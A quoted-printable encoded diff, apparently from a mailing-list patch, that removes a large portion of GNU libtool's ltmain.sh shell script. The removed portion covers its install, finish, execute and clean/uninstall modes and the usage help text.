- $echo "$help" 1>&2 - exit $EXIT_FAILURE - fi - - if test -n "$prev"; then - $echo "$modename: the \`$prev' option requires an argument" 1>&2 - $echo "$help" 1>&2 - exit $EXIT_FAILURE - fi - - if test -z "$files"; then - if test -z "$dest"; then -=09$echo "$modename: no file or destination specified" 1>&2 - else -=09$echo "$modename: you must specify a destination" 1>&2 - fi - $echo "$help" 1>&2 - exit $EXIT_FAILURE - fi - - # Strip any trailing slash from the destination. - dest=3D`$echo "X$dest" | $Xsed -e 's%/$%%'` - - # Check to see that the destination is a directory. - test -d "$dest" && isdir=3Dyes - if test "$isdir" =3D yes; then - destdir=3D"$dest" - destname=3D - else - destdir=3D`$echo "X$dest" | $Xsed -e 's%/[^/]*$%%'` - test "X$destdir" =3D "X$dest" && destdir=3D. - destname=3D`$echo "X$dest" | $Xsed -e 's%^.*/%%'` - - # Not a directory, so check to see that there is only one file s= pecified. - set dummy $files - if test "$#" -gt 2; then -=09$echo "$modename: \`$dest' is not a directory" 1>&2 -=09$echo "$help" 1>&2 -=09exit $EXIT_FAILURE - fi - fi - case $destdir in - [\\/]* | [A-Za-z]:[\\/]*) ;; - *) - for file in $files; do -=09case $file in -=09*.lo) ;; -=09*) -=09 $echo "$modename: \`$destdir' must be an absolute directory name"= 1>&2 -=09 $echo "$help" 1>&2 -=09 exit $EXIT_FAILURE -=09 ;; -=09esac - done - ;; - esac - - # This variable tells wrapper scripts just to set variables rather - # than running their programs. - libtool_install_magic=3D"$magic" - - staticlibs=3D - future_libdirs=3D - current_libdirs=3D - for file in $files; do - - # Do each installation. - case $file in - *.$libext) -=09# Do the static libraries later. -=09staticlibs=3D"$staticlibs $file" -=09;; - - *.la) -=09# Check to see that this really is a libtool archive. -=09if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev= /null 2>&1; then : -=09else -=09 $echo "$modename: \`$file' is not a valid libtool archive" 1>&2 -=09 $echo "$help" 1>&2 -=09 exit $EXIT_FAILURE -=09fi - -=09library_names=3D -=09old_library=3D -=09relink_command=3D -=09# If there is no directory component, then add one. -=09case $file in -=09*/* | *\\*) . $file ;; -=09*) . ./$file ;; -=09esac - -=09# Add the libdir to current_libdirs if it is the destination. -=09if test "X$destdir" =3D "X$libdir"; then -=09 case "$current_libdirs " in -=09 *" $libdir "*) ;; -=09 *) current_libdirs=3D"$current_libdirs $libdir" ;; -=09 esac -=09else -=09 # Note the libdir as a future libdir. -=09 case "$future_libdirs " in -=09 *" $libdir "*) ;; -=09 *) future_libdirs=3D"$future_libdirs $libdir" ;; -=09 esac -=09fi - -=09dir=3D`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'`/ -=09test "X$dir" =3D "X$file/" && dir=3D -=09dir=3D"$dir$objdir" - -=09if test -n "$relink_command"; then -=09 # Determine the prefix the user has applied to our future dir. -=09 inst_prefix_dir=3D`$echo "$destdir" | $SED "s%$libdir\$%%"` - -=09 # Don't allow the user to place us outside of our expected -=09 # location b/c this prevents finding dependent libraries that -=09 # are installed to the same prefix. -=09 # At present, this check doesn't affect windows .dll's that -=09 # are installed into $libdir/../bin (currently, that works fine) -=09 # but it's something to keep an eye on. -=09 if test "$inst_prefix_dir" =3D "$destdir"; then -=09 $echo "$modename: error: cannot install \`$file' to a directory= not ending in $libdir" 1>&2 -=09 exit $EXIT_FAILURE -=09 fi - -=09 if test -n "$inst_prefix_dir"; then -=09 # Stick the inst_prefix_dir data into the link command. -=09 relink_command=3D`$echo "$relink_command" | $SED "s%@inst_prefi= x_dir@%-inst-prefix-dir $inst_prefix_dir%"` -=09 else -=09 relink_command=3D`$echo "$relink_command" | $SED "s%@inst_prefi= x_dir@%%"` -=09 fi - -=09 $echo "$modename: warning: relinking \`$file'" 1>&2 -=09 $show "$relink_command" -=09 if $run eval "$relink_command"; then : -=09 else -=09 $echo "$modename: error: relink \`$file' with the above command= before installing it" 1>&2 -=09 exit $EXIT_FAILURE -=09 fi -=09fi - -=09# See the names of the shared library. -=09set dummy $library_names -=09if test -n "$2"; then -=09 realname=3D"$2" -=09 shift -=09 shift - -=09 srcname=3D"$realname" -=09 test -n "$relink_command" && srcname=3D"$realname"T - -=09 # Install the shared library and build the symlinks. -=09 $show "$install_prog $dir/$srcname $destdir/$realname" -=09 $run eval "$install_prog $dir/$srcname $destdir/$realname" || exi= t $? -=09 if test -n "$stripme" && test -n "$striplib"; then -=09 $show "$striplib $destdir/$realname" -=09 $run eval "$striplib $destdir/$realname" || exit $? -=09 fi - -=09 if test "$#" -gt 0; then -=09 # Delete the old symlinks, and create new ones. -=09 for linkname -=09 do -=09 if test "$linkname" !=3D "$realname"; then -=09=09$show "(cd $destdir && $rm $linkname && $LN_S $realname $linknam= e)" -=09=09$run eval "(cd $destdir && $rm $linkname && $LN_S $realname $lin= kname)" -=09 fi -=09 done -=09 fi - -=09 # Do each command in the postinstall commands. -=09 lib=3D"$destdir/$realname" -=09 cmds=3D$postinstall_cmds -=09 save_ifs=3D"$IFS"; IFS=3D'~' -=09 for cmd in $cmds; do -=09 IFS=3D"$save_ifs" -=09 eval cmd=3D\"$cmd\" -=09 $show "$cmd" -=09 $run eval "$cmd" || exit $? -=09 done -=09 IFS=3D"$save_ifs" -=09fi - -=09# Install the pseudo-library for information purposes. -=09name=3D`$echo "X$file" | $Xsed -e 's%^.*/%%'` -=09instname=3D"$dir/$name"i -=09$show "$install_prog $instname $destdir/$name" -=09$run eval "$install_prog $instname $destdir/$name" || exit $? - -=09# Maybe install the static library, too. -=09test -n "$old_library" && staticlibs=3D"$staticlibs $dir/$old_libra= ry" -=09;; - - *.lo) -=09# Install (i.e. copy) a libtool object. - -=09# Figure out destination file name, if it wasn't already specified. -=09if test -n "$destname"; then -=09 destfile=3D"$destdir/$destname" -=09else -=09 destfile=3D`$echo "X$file" | $Xsed -e 's%^.*/%%'` -=09 destfile=3D"$destdir/$destfile" -=09fi - -=09# Deduce the name of the destination old-style object file. -=09case $destfile in -=09*.lo) -=09 staticdest=3D`$echo "X$destfile" | $Xsed -e "$lo2o"` -=09 ;; -=09*.$objext) -=09 staticdest=3D"$destfile" -=09 destfile=3D -=09 ;; -=09*) -=09 $echo "$modename: cannot copy a libtool object to \`$destfile'" 1= >&2 -=09 $echo "$help" 1>&2 -=09 exit $EXIT_FAILURE -=09 ;; -=09esac - -=09# Install the libtool object if requested. -=09if test -n "$destfile"; then -=09 $show "$install_prog $file $destfile" -=09 $run eval "$install_prog $file $destfile" || exit $? -=09fi - -=09# Install the old object if enabled. -=09if test "$build_old_libs" =3D yes; then -=09 # Deduce the name of the old-style object file. -=09 staticobj=3D`$echo "X$file" | $Xsed -e "$lo2o"` - -=09 $show "$install_prog $staticobj $staticdest" -=09 $run eval "$install_prog \$staticobj \$staticdest" || exit $? -=09fi -=09exit $EXIT_SUCCESS -=09;; - - *) -=09# Figure out destination file name, if it wasn't already specified. -=09if test -n "$destname"; then -=09 destfile=3D"$destdir/$destname" -=09else -=09 destfile=3D`$echo "X$file" | $Xsed -e 's%^.*/%%'` -=09 destfile=3D"$destdir/$destfile" -=09fi - -=09# If the file is missing, and there is a .exe on the end, strip it -=09# because it is most likely a libtool script we actually want to -=09# install -=09stripped_ext=3D"" -=09case $file in -=09 *.exe) -=09 if test ! -f "$file"; then -=09 file=3D`$echo $file|${SED} 's,.exe$,,'` -=09 stripped_ext=3D".exe" -=09 fi -=09 ;; -=09esac - -=09# Do a test to see if this is really a libtool program. -=09case $host in -=09*cygwin*|*mingw*) -=09 wrapper=3D`$echo $file | ${SED} -e 's,.exe$,,'` -=09 ;; -=09*) -=09 wrapper=3D$file -=09 ;; -=09esac -=09if (${SED} -e '4q' $wrapper | grep "^# Generated by .*$PACKAGE")>/d= ev/null 2>&1; then -=09 notinst_deplibs=3D -=09 relink_command=3D - -=09 # To insure that "foo" is sourced, and not "foo.exe", -=09 # finese the cygwin/MSYS system by explicitly sourcing "foo." -=09 # which disallows the automatic-append-.exe behavior. -=09 case $build in -=09 *cygwin* | *mingw*) wrapperdot=3D${wrapper}. ;; -=09 *) wrapperdot=3D${wrapper} ;; -=09 esac -=09 # If there is no directory component, then add one. -=09 case $file in -=09 */* | *\\*) . ${wrapperdot} ;; -=09 *) . ./${wrapperdot} ;; -=09 esac - -=09 # Check the variables that should have been set. -=09 if test -z "$notinst_deplibs"; then -=09 $echo "$modename: invalid libtool wrapper script \`$wrapper'" 1= >&2 -=09 exit $EXIT_FAILURE -=09 fi - -=09 finalize=3Dyes -=09 for lib in $notinst_deplibs; do -=09 # Check to see that each library is installed. -=09 libdir=3D -=09 if test -f "$lib"; then -=09 # If there is no directory component, then add one. -=09 case $lib in -=09 */* | *\\*) . $lib ;; -=09 *) . ./$lib ;; -=09 esac -=09 fi -=09 libfile=3D"$libdir/"`$echo "X$lib" | $Xsed -e 's%^.*/%%g'` ### = testsuite: skip nested quoting test -=09 if test -n "$libdir" && test ! -f "$libfile"; then -=09 $echo "$modename: warning: \`$lib' has not been installed in = \`$libdir'" 1>&2 -=09 finalize=3Dno -=09 fi -=09 done - -=09 relink_command=3D -=09 # To insure that "foo" is sourced, and not "foo.exe", -=09 # finese the cygwin/MSYS system by explicitly sourcing "foo." -=09 # which disallows the automatic-append-.exe behavior. -=09 case $build in -=09 *cygwin* | *mingw*) wrapperdot=3D${wrapper}. ;; -=09 *) wrapperdot=3D${wrapper} ;; -=09 esac -=09 # If there is no directory component, then add one. -=09 case $file in -=09 */* | *\\*) . ${wrapperdot} ;; -=09 *) . ./${wrapperdot} ;; -=09 esac - -=09 outputname=3D -=09 if test "$fast_install" =3D no && test -n "$relink_command"; then -=09 if test "$finalize" =3D yes && test -z "$run"; then -=09 tmpdir=3D"/tmp" -=09 test -n "$TMPDIR" && tmpdir=3D"$TMPDIR" -=09 tmpdir=3D"$tmpdir/libtool-$$" -=09 save_umask=3D`umask` -=09 umask 0077 -=09 if $mkdir "$tmpdir"; then -=09 umask $save_umask -=09 else -=09 umask $save_umask -=09=09$echo "$modename: error: cannot create temporary directory \`$tm= pdir'" 1>&2 -=09=09continue -=09 fi -=09 file=3D`$echo "X$file$stripped_ext" | $Xsed -e 's%^.*/%%'` -=09 outputname=3D"$tmpdir/$file" -=09 # Replace the output file specification. -=09 relink_command=3D`$echo "X$relink_command" | $Xsed -e 's%@OUT= PUT@%'"$outputname"'%g'` - -=09 $show "$relink_command" -=09 if $run eval "$relink_command"; then : -=09 else -=09=09$echo "$modename: error: relink \`$file' with the above command = before installing it" 1>&2 -=09=09${rm}r "$tmpdir" -=09=09continue -=09 fi -=09 file=3D"$outputname" -=09 else -=09 $echo "$modename: warning: cannot relink \`$file'" 1>&2 -=09 fi -=09 else -=09 # Install the binary that we compiled earlier. -=09 file=3D`$echo "X$file$stripped_ext" | $Xsed -e "s%\([^/]*\)$%$o= bjdir/\1%"` -=09 fi -=09fi - -=09# remove .exe since cygwin /usr/bin/install will append another -=09# one anyways -=09case $install_prog,$host in -=09*/usr/bin/install*,*cygwin*) -=09 case $file:$destfile in -=09 *.exe:*.exe) -=09 # this is ok -=09 ;; -=09 *.exe:*) -=09 destfile=3D$destfile.exe -=09 ;; -=09 *:*.exe) -=09 destfile=3D`$echo $destfile | ${SED} -e 's,.exe$,,'` -=09 ;; -=09 esac -=09 ;; -=09esac -=09$show "$install_prog$stripme $file $destfile" -=09$run eval "$install_prog\$stripme \$file \$destfile" || exit $? -=09test -n "$outputname" && ${rm}r "$tmpdir" -=09;; - esac - done - - for file in $staticlibs; do - name=3D`$echo "X$file" | $Xsed -e 's%^.*/%%'` - - # Set up the ranlib parameters. - oldlib=3D"$destdir/$name" - - $show "$install_prog $file $oldlib" - $run eval "$install_prog \$file \$oldlib" || exit $? - - if test -n "$stripme" && test -n "$old_striplib"; then -=09$show "$old_striplib $oldlib" -=09$run eval "$old_striplib $oldlib" || exit $? - fi - - # Do each command in the postinstall commands. - cmds=3D$old_postinstall_cmds - save_ifs=3D"$IFS"; IFS=3D'~' - for cmd in $cmds; do -=09IFS=3D"$save_ifs" -=09eval cmd=3D\"$cmd\" -=09$show "$cmd" -=09$run eval "$cmd" || exit $? - done - IFS=3D"$save_ifs" - done - - if test -n "$future_libdirs"; then - $echo "$modename: warning: remember to run \`$progname --finish$= future_libdirs'" 1>&2 - fi - - if test -n "$current_libdirs"; then - # Maybe just do a dry run. - test -n "$run" && current_libdirs=3D" -n$current_libdirs" - exec_cmd=3D'$SHELL $progpath $preserve_args --finish$current_lib= dirs' - else - exit $EXIT_SUCCESS - fi - ;; - - # libtool finish mode - finish) - modename=3D"$modename: finish" - libdirs=3D"$nonopt" - admincmds=3D - - if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then - for dir - do -=09libdirs=3D"$libdirs $dir" - done - - for libdir in $libdirs; do -=09if test -n "$finish_cmds"; then -=09 # Do each command in the finish commands. -=09 cmds=3D$finish_cmds -=09 save_ifs=3D"$IFS"; IFS=3D'~' -=09 for cmd in $cmds; do -=09 IFS=3D"$save_ifs" -=09 eval cmd=3D\"$cmd\" -=09 $show "$cmd" -=09 $run eval "$cmd" || admincmds=3D"$admincmds - $cmd" -=09 done -=09 IFS=3D"$save_ifs" -=09fi -=09if test -n "$finish_eval"; then -=09 # Do the single finish_eval. -=09 eval cmds=3D\"$finish_eval\" -=09 $run eval "$cmds" || admincmds=3D"$admincmds - $cmds" -=09fi - done - fi - - # Exit here if they wanted silent mode. - test "$show" =3D : && exit $EXIT_SUCCESS - - $echo "-----------------------------------------------------------= -----------" - $echo "Libraries have been installed in:" - for libdir in $libdirs; do - $echo " $libdir" - done - $echo - $echo "If you ever happen to want to link against installed librar= ies" - $echo "in a given directory, LIBDIR, you must either use libtool, = and" - $echo "specify the full pathname of the library, or use the \`-LLI= BDIR'" - $echo "flag during linking and do at least one of the following:" - if test -n "$shlibpath_var"; then - $echo " - add LIBDIR to the \`$shlibpath_var' environment vari= able" - $echo " during execution" - fi - if test -n "$runpath_var"; then - $echo " - add LIBDIR to the \`$runpath_var' environment variab= le" - $echo " during linking" - fi - if test -n "$hardcode_libdir_flag_spec"; then - libdir=3DLIBDIR - eval flag=3D\"$hardcode_libdir_flag_spec\" - - $echo " - use the \`$flag' linker flag" - fi - if test -n "$admincmds"; then - $echo " - have your system administrator run these commands:$a= dmincmds" - fi - if test -f /etc/ld.so.conf; then - $echo " - have your system administrator add LIBDIR to \`/etc/= ld.so.conf'" - fi - $echo - $echo "See any operating system documentation about shared librari= es for" - $echo "more information, such as the ld(1) and ld.so(8) manual pag= es." - $echo "-----------------------------------------------------------= -----------" - exit $EXIT_SUCCESS - ;; - - # libtool execute mode - execute) - modename=3D"$modename: execute" - - # The first argument is the command name. - cmd=3D"$nonopt" - if test -z "$cmd"; then - $echo "$modename: you must specify a COMMAND" 1>&2 - $echo "$help" - exit $EXIT_FAILURE - fi - - # Handle -dlopen flags immediately. - for file in $execute_dlfiles; do - if test ! -f "$file"; then -=09$echo "$modename: \`$file' is not a file" 1>&2 -=09$echo "$help" 1>&2 -=09exit $EXIT_FAILURE - fi - - dir=3D - case $file in - *.la) -=09# Check to see that this really is a libtool archive. -=09if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev= /null 2>&1; then : -=09else -=09 $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 -=09 $echo "$help" 1>&2 -=09 exit $EXIT_FAILURE -=09fi - -=09# Read the libtool library. -=09dlname=3D -=09library_names=3D - -=09# If there is no directory component, then add one. -=09case $file in -=09*/* | *\\*) . $file ;; -=09*) . ./$file ;; -=09esac - -=09# Skip this library if it cannot be dlopened. -=09if test -z "$dlname"; then -=09 # Warn if it was a shared library. -=09 test -n "$library_names" && $echo "$modename: warning: \`$file' w= as not linked with \`-export-dynamic'" -=09 continue -=09fi - -=09dir=3D`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'` -=09test "X$dir" =3D "X$file" && dir=3D. - -=09if test -f "$dir/$objdir/$dlname"; then -=09 dir=3D"$dir/$objdir" -=09else -=09 $echo "$modename: cannot find \`$dlname' in \`$dir' or \`$dir/$ob= jdir'" 1>&2 -=09 exit $EXIT_FAILURE -=09fi -=09;; - - *.lo) -=09# Just add the directory containing the .lo file. -=09dir=3D`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'` -=09test "X$dir" =3D "X$file" && dir=3D. -=09;; - - *) -=09$echo "$modename: warning \`-dlopen' is ignored for non-libtool lib= raries and objects" 1>&2 -=09continue -=09;; - esac - - # Get the absolute pathname. - absdir=3D`cd "$dir" && pwd` - test -n "$absdir" && dir=3D"$absdir" - - # Now add the directory to shlibpath_var. - if eval "test -z \"\$$shlibpath_var\""; then -=09eval "$shlibpath_var=3D\"\$dir\"" - else -=09eval "$shlibpath_var=3D\"\$dir:\$$shlibpath_var\"" - fi - done - - # This variable tells wrapper scripts just to set shlibpath_var - # rather than running their programs. - libtool_execute_magic=3D"$magic" - - # Check if any of the arguments is a wrapper script. - args=3D - for file - do - case $file in - -*) ;; - *) -=09# Do a test to see if this is really a libtool program. -=09if (${SED} -e '4q' $file | grep "^# Generated by .*$PACKAGE") >/dev= /null 2>&1; then -=09 # If there is no directory component, then add one. -=09 case $file in -=09 */* | *\\*) . $file ;; -=09 *) . ./$file ;; -=09 esac - -=09 # Transform arg to wrapped name. -=09 file=3D"$progdir/$program" -=09fi -=09;; - esac - # Quote arguments (to preserve shell metacharacters). - file=3D`$echo "X$file" | $Xsed -e "$sed_quote_subst"` - args=3D"$args \"$file\"" - done - - if test -z "$run"; then - if test -n "$shlibpath_var"; then -=09# Export the shlibpath_var. -=09eval "export $shlibpath_var" - fi - - # Restore saved environment variables - if test "${save_LC_ALL+set}" =3D set; then -=09LC_ALL=3D"$save_LC_ALL"; export LC_ALL - fi - if test "${save_LANG+set}" =3D set; then -=09LANG=3D"$save_LANG"; export LANG - fi - - # Now prepare to actually exec the command. - exec_cmd=3D"\"\$cmd\"$args" - else - # Display what would be done. - if test -n "$shlibpath_var"; then -=09eval "\$echo \"\$shlibpath_var=3D\$$shlibpath_var\"" -=09$echo "export $shlibpath_var" - fi - eval \$echo \"\$cmd\"$args - exit $EXIT_SUCCESS - fi - ;; - - # libtool clean and uninstall mode - clean | uninstall) - modename=3D"$modename: $mode" - rm=3D"$nonopt" - files=3D - rmforce=3D - exit_status=3D0 - - # This variable tells wrapper scripts just to set variables rather - # than running their programs. - libtool_install_magic=3D"$magic" - - for arg - do - case $arg in - -f) rm=3D"$rm $arg"; rmforce=3Dyes ;; - -*) rm=3D"$rm $arg" ;; - *) files=3D"$files $arg" ;; - esac - done - - if test -z "$rm"; then - $echo "$modename: you must specify an RM program" 1>&2 - $echo "$help" 1>&2 - exit $EXIT_FAILURE - fi - - rmdirs=3D - - origobjdir=3D"$objdir" - for file in $files; do - dir=3D`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'` - if test "X$dir" =3D "X$file"; then -=09dir=3D. -=09objdir=3D"$origobjdir" - else -=09objdir=3D"$dir/$origobjdir" - fi - name=3D`$echo "X$file" | $Xsed -e 's%^.*/%%'` - test "$mode" =3D uninstall && objdir=3D"$dir" - - # Remember objdir for removal later, being careful to avoid dupl= icates - if test "$mode" =3D clean; then -=09case " $rmdirs " in -=09 *" $objdir "*) ;; -=09 *) rmdirs=3D"$rmdirs $objdir" ;; -=09esac - fi - - # Don't error if the file doesn't exist and rm -f was used. - if (test -L "$file") >/dev/null 2>&1 \ -=09|| (test -h "$file") >/dev/null 2>&1 \ -=09|| test -f "$file"; then -=09: - elif test -d "$file"; then -=09exit_status=3D1 -=09continue - elif test "$rmforce" =3D yes; then -=09continue - fi - - rmfiles=3D"$file" - - case $name in - *.la) -=09# Possibly a libtool archive, so verify it. -=09if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev= /null 2>&1; then -=09 . $dir/$name - -=09 # Delete the libtool libraries and symlinks. -=09 for n in $library_names; do -=09 rmfiles=3D"$rmfiles $objdir/$n" -=09 done -=09 test -n "$old_library" && rmfiles=3D"$rmfiles $objdir/$old_librar= y" -=09 test "$mode" =3D clean && rmfiles=3D"$rmfiles $objdir/$name $objd= ir/${name}i" - -=09 if test "$mode" =3D uninstall; then -=09 if test -n "$library_names"; then -=09 # Do each command in the postuninstall commands. -=09 cmds=3D$postuninstall_cmds -=09 save_ifs=3D"$IFS"; IFS=3D'~' -=09 for cmd in $cmds; do -=09=09IFS=3D"$save_ifs" -=09=09eval cmd=3D\"$cmd\" -=09=09$show "$cmd" -=09=09$run eval "$cmd" -=09=09if test "$?" -ne 0 && test "$rmforce" !=3D yes; then -=09=09 exit_status=3D1 -=09=09fi -=09 done -=09 IFS=3D"$save_ifs" -=09 fi - -=09 if test -n "$old_library"; then -=09 # Do each command in the old_postuninstall commands. -=09 cmds=3D$old_postuninstall_cmds -=09 save_ifs=3D"$IFS"; IFS=3D'~' -=09 for cmd in $cmds; do -=09=09IFS=3D"$save_ifs" -=09=09eval cmd=3D\"$cmd\" -=09=09$show "$cmd" -=09=09$run eval "$cmd" -=09=09if test "$?" -ne 0 && test "$rmforce" !=3D yes; then -=09=09 exit_status=3D1 -=09=09fi -=09 done -=09 IFS=3D"$save_ifs" -=09 fi -=09 # FIXME: should reinstall the best remaining shared library. -=09 fi -=09fi -=09;; - - *.lo) -=09# Possibly a libtool object, so verify it. -=09if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev= /null 2>&1; then - -=09 # Read the .lo file -=09 . $dir/$name - -=09 # Add PIC object to the list of files to remove. -=09 if test -n "$pic_object" \ -=09 && test "$pic_object" !=3D none; then -=09 rmfiles=3D"$rmfiles $dir/$pic_object" -=09 fi - -=09 # Add non-PIC object to the list of files to remove. -=09 if test -n "$non_pic_object" \ -=09 && test "$non_pic_object" !=3D none; then -=09 rmfiles=3D"$rmfiles $dir/$non_pic_object" -=09 fi -=09fi -=09;; - - *) -=09if test "$mode" =3D clean ; then -=09 noexename=3D$name -=09 case $file in -=09 *.exe) -=09 file=3D`$echo $file|${SED} 's,.exe$,,'` -=09 noexename=3D`$echo $name|${SED} 's,.exe$,,'` -=09 # $file with .exe has already been added to rmfiles, -=09 # add $file without .exe -=09 rmfiles=3D"$rmfiles $file" -=09 ;; -=09 esac -=09 # Do a test to see if this is a libtool program. -=09 if (${SED} -e '4q' $file | grep "^# Generated by .*$PACKAGE") >/d= ev/null 2>&1; then -=09 relink_command=3D -=09 . $dir/$noexename - -=09 # note $name still contains .exe if it was in $file originally -=09 # as does the version of $file that was added into $rmfiles -=09 rmfiles=3D"$rmfiles $objdir/$name $objdir/${name}S.${objext}" -=09 if test "$fast_install" =3D yes && test -n "$relink_command"; t= hen -=09 rmfiles=3D"$rmfiles $objdir/lt-$name" -=09 fi -=09 if test "X$noexename" !=3D "X$name" ; then -=09 rmfiles=3D"$rmfiles $objdir/lt-${noexename}.c" -=09 fi -=09 fi -=09fi -=09;; - esac - $show "$rm $rmfiles" - $run $rm $rmfiles || exit_status=3D1 - done - objdir=3D"$origobjdir" - - # Try to remove the ${objdir}s in the directories where we deleted= files - for dir in $rmdirs; do - if test -d "$dir"; then -=09$show "rmdir $dir" -=09$run rmdir $dir >/dev/null 2>&1 - fi - done - - exit $exit_status - ;; - - "") - $echo "$modename: you must specify a MODE" 1>&2 - $echo "$generic_help" 1>&2 - exit $EXIT_FAILURE - ;; - esac - - if test -z "$exec_cmd"; then - $echo "$modename: invalid operation mode \`$mode'" 1>&2 - $echo "$generic_help" 1>&2 - exit $EXIT_FAILURE - fi -fi # test -z "$show_help" - -if test -n "$exec_cmd"; then - eval exec $exec_cmd - exit $EXIT_FAILURE -fi - -# We need to display help for each of the modes. -case $mode in -"") $echo \ -"Usage: $modename [OPTION]... [MODE-ARG]... - -Provide generalized library-building support services. - - --config show all configuration variables - --debug enable verbose shell tracing --n, --dry-run display commands without modifying any files - --features display basic configuration information and exit - --finish same as \`--mode=3Dfinish' - --help display this help message and exit - --mode=3DMODE use operation mode MODE [default=3Dinferred fr= om MODE-ARGS] - --quiet same as \`--silent' - --silent don't print informational messages - --tag=3DTAG use configuration variables from tag TAG - --version print version information - -MODE must be one of the following: - - clean remove files from the build directory - compile compile a source file into a libtool object - execute automatically set library path, then run a progr= am - finish complete the installation of libtool libraries - install install libraries or executables - link create a library or an executable - uninstall remove libraries from an installed directory - -MODE-ARGS vary depending on the MODE. Try \`$modename --help --mode= =3DMODE' for -a more detailed description of MODE. - -Report bugs to ." - exit $EXIT_SUCCESS - ;; - -clean) - $echo \ -"Usage: $modename [OPTION]... --mode=3Dclean RM [RM-OPTION]... FILE... - -Remove files from the build directory. - -RM is the name of the program to use to delete files associated with e= ach FILE -(typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be = passed -to RM. - -If FILE is a libtool library, object or program, all the files associa= ted -with it are deleted. Otherwise, only FILE itself is deleted using RM." - ;; - -compile) - $echo \ -"Usage: $modename [OPTION]... --mode=3Dcompile COMPILE-COMMAND... SOUR= CEFILE - -Compile a source file into a libtool library object. - -This mode accepts the following additional options: - - -o OUTPUT-FILE set the output file name to OUTPUT-FILE - -prefer-pic try to building PIC objects only - -prefer-non-pic try to building non-PIC objects only - -static always build a \`.o' file suitable for static link= ing - -COMPILE-COMMAND is a command to be used in creating a \`standard' obje= ct file -from the given SOURCEFILE. - -The output file name is determined by removing the directory component= from -SOURCEFILE, then substituting the C source code suffix \`.c' with the -library object suffix, \`.lo'." - ;; - -execute) - $echo \ -"Usage: $modename [OPTION]... --mode=3Dexecute COMMAND [ARGS]... - -Automatically set library path, then run a program. - -This mode accepts the following additional options: - - -dlopen FILE add the directory containing FILE to the library p= ath - -This mode sets the library path environment variable according to \`-d= lopen' -flags. - -If any of the ARGS are libtool executable wrappers, then they are tran= slated -into their corresponding uninstalled binary, and any of their required= library -directories are added to the library path. - -Then, COMMAND is executed, with ARGS as arguments." - ;; - -finish) - $echo \ -"Usage: $modename [OPTION]... --mode=3Dfinish [LIBDIR]... - -Complete the installation of libtool libraries. - -Each LIBDIR is a directory that contains libtool libraries. - -The commands that this mode executes may require superuser privileges.= Use -the \`--dry-run' option if you just want to see what would be executed= ." - ;; - -install) - $echo \ -"Usage: $modename [OPTION]... --mode=3Dinstall INSTALL-COMMAND... - -Install executables or libraries. - -INSTALL-COMMAND is the installation command. The first component shou= ld be -either the \`install' or \`cp' program. - -The rest of the components are interpreted as arguments to that comman= d (only -BSD-compatible install options are recognized)." - ;; - -link) - $echo \ -"Usage: $modename [OPTION]... --mode=3Dlink LINK-COMMAND... - -Link object files or libraries together to form another library, or to -create an executable program. - -LINK-COMMAND is a command using the C compiler that you would use to c= reate -a program from several object files. - -The following components of LINK-COMMAND are treated specially: - - -all-static do not do any dynamic linking at all - -avoid-version do not add a version suffix if possible - -dlopen FILE \`-dlpreopen' FILE if it cannot be dlopened at run= time - -dlpreopen FILE link in FILE and add its symbols to lt_preloaded_s= ymbols - -export-dynamic allow symbols from OUTPUT-FILE to be resolved with= dlsym(3) - -export-symbols SYMFILE -=09=09 try to export only the symbols listed in SYMFILE - -export-symbols-regex REGEX -=09=09 try to export only the symbols matching REGEX - -LLIBDIR search LIBDIR for required installed libraries - -lNAME OUTPUT-FILE requires the installed library libNAME - -module build a library that can dlopened - -no-fast-install disable the fast-install mode - -no-install link a not-installable executable - -no-undefined declare that a library does not refer to external = symbols - -o OUTPUT-FILE create OUTPUT-FILE from the specified objects - -objectlist FILE Use a list of object files found in FILE to specif= y objects - -precious-files-regex REGEX - don't remove output files matching REGEX - -release RELEASE specify package release information - -rpath LIBDIR the created library will eventually be installed i= n LIBDIR - -R[ ]LIBDIR add LIBDIR to the runtime path of programs and lib= raries - -static do not do any dynamic linking of libtool libraries - -version-info CURRENT[:REVISION[:AGE]] -=09=09 specify library version info [each variable defaults to 0] - -All other options (arguments beginning with \`-') are ignored. - -Every other argument is treated as a filename. Files ending in \`.la'= are -treated as uninstalled libtool libraries, other files are standard or = library -object files. - -If the OUTPUT-FILE ends in \`.la', then a libtool library is created, -only library objects (\`.lo' files) may be specified, and \`-rpath' is -required, except when creating a convenience library. - -If OUTPUT-FILE ends in \`.a' or \`.lib', then a standard library is cr= eated -using \`ar' and \`ranlib', or on Windows using \`lib'. - -If OUTPUT-FILE ends in \`.lo' or \`.${objext}', then a reloadable obje= ct file -is created, otherwise an executable program is created." - ;; - -uninstall) - $echo \ -"Usage: $modename [OPTION]... --mode=3Duninstall RM [RM-OPTION]... FIL= E... - -Remove libraries from an installation directory. - -RM is the name of the program to use to delete files associated with e= ach FILE -(typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be = passed -to RM. - -If FILE is a libtool library, all the files associated with it are del= eted. -Otherwise, only FILE itself is deleted using RM." - ;; - -*) - $echo "$modename: invalid operation mode \`$mode'" 1>&2 - $echo "$help" 1>&2 - exit $EXIT_FAILURE - ;; -esac - -$echo -$echo "Try \`$modename --help' for more information about other modes.= " - -exit $EXIT_SUCCESS - -# The TAGs below are defined such that we never get into a situation -# in which we disable both kinds of libraries. Given conflicting -# choices, we go for a static library, that is the most portable, -# since we can't tell whether shared libraries were disabled because -# the user asked for that or because the platform doesn't support -# them. This is particularly important on AIX, because we don't -# support having both static and shared libraries enabled at the same -# time on that platform, so we default to a shared-only configuration. -# If a disable-shared tag is given, we'll fallback to a static-only -# configuration. But we'll never go from static-only to shared-only. - -# ### BEGIN LIBTOOL TAG CONFIG: disable-shared -build_libtool_libs=3Dno -build_old_libs=3Dyes -# ### END LIBTOOL TAG CONFIG: disable-shared - -# ### BEGIN LIBTOOL TAG CONFIG: disable-static -build_old_libs=3D`case $build_libtool_libs in yes) $echo no;; *) $echo= yes;; esac` -# ### END LIBTOOL TAG CONFIG: 